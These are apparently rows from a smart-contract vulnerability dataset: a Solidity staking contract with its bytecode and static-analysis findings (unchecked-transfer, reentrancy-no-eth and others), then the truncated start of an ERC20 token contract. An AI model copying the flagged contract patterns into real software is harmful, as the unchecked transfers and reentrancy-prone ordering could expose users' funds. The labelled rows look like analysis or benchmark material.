function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract YFTether_Farming1 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
event RewardsDisbursed(uint amount);
// Linkswap ETH/YFTE LP token contract address
address public constant LPtokenAddress = 0x31b71356290289806CcBa638B0A6c79121a965E9;
//YFTether token address
address public constant tokenAddress = 0x94F31aC896c9823D81cf9C2C93feCEeD4923218f;
uint public constant withdrawFeePercentX100 = 50;
uint public constant disburseAmount = 20e18;
uint public constant disburseDuration = 7 days;
uint public disbursePercentX100 = 10000;
uint public lastDisburseTime;
constructor() {
lastDisburseTime = block.timestamp;
}
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public lastDivPoints;
uint public totalTokensDisbursed = 0;
uint public contractBalance = 0;
uint public totalDivPoints = 0;
uint public totalTokens = 0;
uint internal pointMultiplier = 1e18;
function addContractBalance(uint amount) public onlyOwner {
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!");
contractBalance = contractBalance.add(amount);
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = block.timestamp;
lastDivPoints[account] = totalDivPoints;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]);
uint depositedAmount = depositedTokens[_holder];
uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(LPtokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
totalTokens = totalTokens.add(amountToDeposit);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
depositTime[msg.sender] = block.timestamp;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function emergencyWithdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
lastClaimedTime[msg.sender] = block.timestamp;
lastDivPoints[msg.sender] = totalDivPoints;
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function distributeDivs(uint amount) private {
if (totalTokens == 0) return;
totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens));
emit RewardsDisbursed(amount);
}
function disburseTokens() public onlyOwner {
uint amount = getPendingDisbursement();
// uint contractBalance = Token(tokenAddress).balanceOf(address(this));
if (contractBalance < amount) {
amount = contractBalance;
}
if (amount == 0) return;
distributeDivs(amount);
contractBalance = contractBalance.sub(amount);
lastDisburseTime = block.timestamp;
}
function getPendingDisbursement() public view returns (uint) {
uint timeDiff = block.timestamp.sub(lastDisburseTime);
uint pendingDisburse = disburseAmount
.mul(disbursePercentX100)
.mul(timeDiff)
.div(disburseDuration)
.div(10000);
return pendingDisburse;
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
/* function to allow owner to claim *other* ERC20 tokens sent to this contract.
Owner cannot recover unclaimed tokens (they are burnt)
*/
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
// require(_tokenAddr != tokenAddress && _tokenAddr != LPtokenAddress, "Cannot send out reward tokens or LP tokens!");
require(_tokenAddr != LPtokenAddress, "Admin cannot transfer out LP tokens from this vault!");
require(_tokenAddr != tokenAddress , "Admin cannot Transfer out Reward Tokens from this vault!");
Token(_tokenAddr).transfer(_to, _amount);
}
} | 0x608060405234801561001057600080fd5b50600436106101da5760003560e01c80638da5cb5b11610104578063c326bf4f116100a2578063f2fde38b11610071578063f2fde38b146107e8578063f3f91fa01461082c578063f9da7db814610884578063fe547f72146108b8576101da565b8063c326bf4f14610736578063d1b965f31461078e578063d578ceab146107ac578063e027c61f146107ca576101da565b806398896d10116100de57806398896d101461065e5780639d76ea58146106b6578063ac51de8d146106ea578063b6b55f2514610708576101da565b80638da5cb5b146105ee5780638e20a1d9146106225780638f5705be14610640576101da565b806346c648731161017c57806365ca78be1161014b57806365ca78be146105265780636a395ccb146105445780637e1c0c09146105b25780638b7afe2e146105d0576101da565b806346c648731461043e5780634e71d92d146104965780635312ea8e146104a05780636270cd18146104ce576101da565b80631f04461c116101b85780631f04461c1461036c5780632e1a7d4d146103c4578063308feec3146103f2578063452b4cfc14610410576101da565b806305447d25146101df5780630813cc8f146103445780630c9a0c781461034e575b600080fd5b610215600480360360408110156101f557600080fd5b8101908080359060200190929190803590602001909291905050506108d6565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b83811015610264578082015181840152602081019050610249565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156102a657808201518184015260208101905061028b565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156102e85780820151818401526020810190506102cd565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561032a57808201518184015260208101905061030f565b505050509050019850505050505050505060405180910390f35b61034c610bef565b005b610356610ca1565b6040518082815260200191505060405180910390f35b6103ae6004803603602081101561038257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca7565b6040518082815260200191505060405180910390f35b6103f0600480360360208110156103da57600080fd5b8101908080359060200190929190505050610cbf565b005b6103fa611173565b6040518082815260200191505060405180910390f35b61043c6004803603602081101561042657600080fd5b8101908080359060200190929190505050611184565b005b6104806004803603602081101561045457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061134a565b6040518082815260200191505060405180910390f35b61049e611362565b005b6104cc600480360360208110156104b657600080fd5b810190808035906020019092919050505061136d565b005b610510600480360360208110156104e457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118a2565b6040518082815260200191505060405180910390f35b61052e6118ba565b6040518082815260200191505060405180910390f35b6105b06004803603606081101561055a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118c0565b005b6105ba611afc565b6040518082815260200191505060405180910390f35b6105d8611b02565b6040518082815260200191505060405180910390f35b6105f6611b08565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61062a611b2c565b6040518082815260200191505060405180910390f35b610648611b32565b6040518082815260200191505060405180910390f35b6106a06004803603602081101561067457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b39565b6040518082815260200191505060405180910390f35b6106be611c80565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106f2611c98565b6040518082815260200191505060405180910390f35b6107346004803603602081101561071e57600080fd5b8101908080359060200190929190505050611d17565b005b6107786004803603602081101561074c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061200b565b6040518082815260200191505060405180910390f35b610796612023565b6040518082815260200191505060405180910390f35b6107b4612028565b6040518082815260200191505060405180910390f35b6107d261202e565b6040518082815260200191505060405180910390f35b61082a600480360360208110156107fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612034565b005b61086e6004803603602081101561084257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612183565b6040518082815260200191505060405180910390f35b61088c61219b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108c06121b3565b6040518082815260200191505060405180910390f35b6060806060808486106108e857600080fd5b60006108fd87876121c090919063ffffffff16565b905060008167ffffffffffffffff8111801561091857600080fd5b506040519080825280602002602001820160405280156109475781602001602082028036833780820191505090505b50905060008267ffffffffffffffff8111801561096357600080fd5b506040519080825280602002602001820160405280156109925781602001602082028036833780820191505090505b50905060008367ffffffffffffffff811180156109ae57600080fd5b506040519080825280602002602001820160405280156109dd5781602001602082028036833780820191505090505b50905060008467ffffffffffffffff811180156109f957600080fd5b50604051908082528060200260200182016040528015610a285781602001602082028036833780820191505090505b50905060008b90505b8a811015610bd4576000610a4f8260046121d790919063ffffffff16565b90506000610a668e846121c090919063ffffffff16565b905081878281518110610a7557fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054868281518110610afb57fe5b602002602001018181525050600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858281518110610b5357fe5b602002602001018181525050600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610bab57fe5b6020026020010181815250505050610bcd6001826121f190919063ffffffff16565b9050610a31565b50838383839850985098509850505050505092959194509250565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c4757600080fd5b6000610c51611c98565b905080600c541015610c6357600c5490505b6000811415610c725750610c9f565b610c7b8161220d565b610c9081600c546121c090919063ffffffff16565b600c8190555042600281905550505b565b60015481565b600a6020528060005260406000206000915090505481565b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b610d7d3361229b565b6000610da7612710610d9960328561257790919063ffffffff16565b6125a690919063ffffffff16565b90506000610dbe82846121c090919063ffffffff16565b90507331b71356290289806ccba638b0a6c79121a965e973ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610e6557600080fd5b505af1158015610e79573d6000803e3d6000fd5b505050506040513d6020811015610e8f57600080fd5b8101908080519060200190929190505050610f12576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b7331b71356290289806ccba638b0a6c79121a965e973ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610f9757600080fd5b505af1158015610fab573d6000803e3d6000fd5b505050506040513d6020811015610fc157600080fd5b8101908080519060200190929190505050611044576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61109683600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c090919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110ee83600e546121c090919063ffffffff16565b600e819055506111083360046125bf90919063ffffffff16565b801561115357506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561116e5761116c3360046125ef90919063ffffffff16565b505b505050565b600061117f600461261f565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111dc57600080fd5b7394f31ac896c9823d81cf9c2c93feceed4923218f73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561127f57600080fd5b505af1158015611293573d6000803e3d6000fd5b505050506040513d60208110156112a957600080fd5b810190808051906020019092919050505061132c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43616e6e6f74206164642062616c616e6365210000000000000000000000000081525060200191505060405180910390fd5b61134181600c546121f190919063ffffffff16565b600c8190555050565b60076020528060005260406000206000915090505481565b61136b3361229b565b565b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611422576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b42600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006114d66127106114c860328561257790919063ffffffff16565b6125a690919063ffffffff16565b905060006114ed82846121c090919063ffffffff16565b90507331b71356290289806ccba638b0a6c79121a965e973ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561159457600080fd5b505af11580156115a8573d6000803e3d6000fd5b505050506040513d60208110156115be57600080fd5b8101908080519060200190929190505050611641576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b7331b71356290289806ccba638b0a6c79121a965e973ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156116c657600080fd5b505af11580156116da573d6000803e3d6000fd5b505050506040513d60208110156116f057600080fd5b8101908080519060200190929190505050611773576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6117c583600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c090919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061181d83600e546121c090919063ffffffff16565b600e819055506118373360046125bf90919063ffffffff16565b801561188257506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561189d5761189b3360046125ef90919063ffffffff16565b505b505050565b60096020528060005260406000206000915090505481565b600b5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461191857600080fd5b7331b71356290289806ccba638b0a6c79121a965e973ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806128ce6034913960400191505060405180910390fd5b7394f31ac896c9823d81cf9c2c93feceed4923218f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a4a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806128966038913960400191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611abb57600080fd5b505af1158015611acf573d6000803e3d6000fd5b505050506040513d6020811015611ae557600080fd5b810190808051906020019092919050505050505050565b600e5481565b600c5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b62093a8081565b6000611b4f8260046125bf90919063ffffffff16565b611b5c5760009050611c7b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bad5760009050611c7b565b6000611c03600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d546121c090919063ffffffff16565b90506000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000611c72600f54611c64858561257790919063ffffffff16565b6125a690919063ffffffff16565b90508093505050505b919050565b7394f31ac896c9823d81cf9c2c93feceed4923218f81565b600080611cb0600254426121c090919063ffffffff16565b90506000611d0d612710611cff62093a80611cf186611ce36001546801158e460913d0000061257790919063ffffffff16565b61257790919063ffffffff16565b6125a690919063ffffffff16565b6125a690919063ffffffff16565b9050809250505090565b60008111611d8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b611d963361229b565b7331b71356290289806ccba638b0a6c79121a965e973ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611e3957600080fd5b505af1158015611e4d573d6000803e3d6000fd5b505050506040513d6020811015611e6357600080fd5b8101908080519060200190929190505050611ee6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611f3881600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f190919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f9081600e546121f190919063ffffffff16565b600e81905550611faa3360046125bf90919063ffffffff16565b61200857611fc233600461263490919063ffffffff16565b5042600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b60066020528060005260406000206000915090505481565b603281565b60035481565b60025481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461208c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156120c657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60086020528060005260406000206000915090505481565b7331b71356290289806ccba638b0a6c79121a965e981565b6801158e460913d0000081565b6000828211156121cc57fe5b818303905092915050565b60006121e68360000183612664565b60001c905092915050565b60008082840190508381101561220357fe5b8091505092915050565b6000600e54141561221d57612298565b61225a612249600e5461223b600f548561257790919063ffffffff16565b6125a690919063ffffffff16565b600d546121f190919063ffffffff16565b600d819055507f497e6c34cb46390a801e970e8c72fd87aa7fded87c9b77cdac588f235904a825816040518082815260200191505060405180910390a15b50565b60006122a682611b39565b905060008111156124e9577394f31ac896c9823d81cf9c2c93feceed4923218f73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561233657600080fd5b505af115801561234a573d6000803e3d6000fd5b505050506040513d602081101561236057600080fd5b81019080805190602001909291905050506123e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61243581600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f190919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061248d816003546121f190919063ffffffff16565b6003819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808284029050600084148061259657508284828161259357fe5b04145b61259c57fe5b8091505092915050565b6000808284816125b257fe5b0490508091505092915050565b60006125e7836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6126e7565b905092915050565b6000612617836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61270a565b905092915050565b600061262d826000016127f2565b9050919050565b600061265c836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612803565b905092915050565b6000818360000180549050116126c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806128746022913960400191505060405180910390fd5b8260000182815481106126d457fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b600080836001016000848152602001908152602001600020549050600081146127e6576000600182039050600060018660000180549050039050600086600001828154811061275557fe5b906000526020600020015490508087600001848154811061277257fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806127aa57fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506127ec565b60009150505b92915050565b600081600001805490509050919050565b600061280f83836126e7565b61286857826000018290806001815401808255809150506001900390600052602060002001600090919091909150558260000180549050836001016000848152602001908152602001600020819055506001905061286d565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647341646d696e2063616e6e6f74205472616e73666572206f75742052657761726420546f6b656e732066726f6d2074686973207661756c742141646d696e2063616e6e6f74207472616e73666572206f7574204c5020746f6b656e732066726f6d2074686973207661756c7421a2646970667358221220f41b09ee702ae293eb5ed83761c664c3dd3d614e10302322b738d82f2895e2f164736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 844 |
0xfda34daa22fc355a6e14478dfb8d180abf5d2740 | /**
*Submitted for verification at Etherscan.io on 2020-10-13
*/
pragma solidity ^0.4.24;
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(_b > 0);
uint256 c = _a / _b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/*
* Ownable
*
* Base contract with an owner.
* Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner.
*/
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
newOwner = address(0);
}
// allows execution by the owner only
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyNewOwner() {
require(msg.sender != address(0));
require(msg.sender == newOwner);
_;
}
/**
@dev allows transferring the contract ownership
the new owner still needs to accept the transfer
can only be called by the contract owner
@param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
/**
@dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() public onlyNewOwner {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/*
ERC20 Token interface
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
interface TokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract MISSACOIN is ERC20, Ownable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 internal initialSupply;
uint256 internal totalSupply_;
mapping(address => uint256) internal balances;
mapping(address => bool) public frozen;
mapping(address => mapping(address => uint256)) internal allowed;
event Burn(address indexed owner, uint256 value);
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozen[_holder]);
_;
}
constructor() public {
name = "MISSACOIN";
symbol = "MSC";
decimals = 0;
initialSupply = 1000000000;
totalSupply_ = 1000000000;
balances[owner] = totalSupply_;
emit Transfer(address(0), owner, totalSupply_);
}
function () public payable {
revert();
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified addresses
* @param _from The address to transfer from.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public notFrozen(msg.sender) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _holder The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _holder) public view returns (uint256 balance) {
return balances[_holder];
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
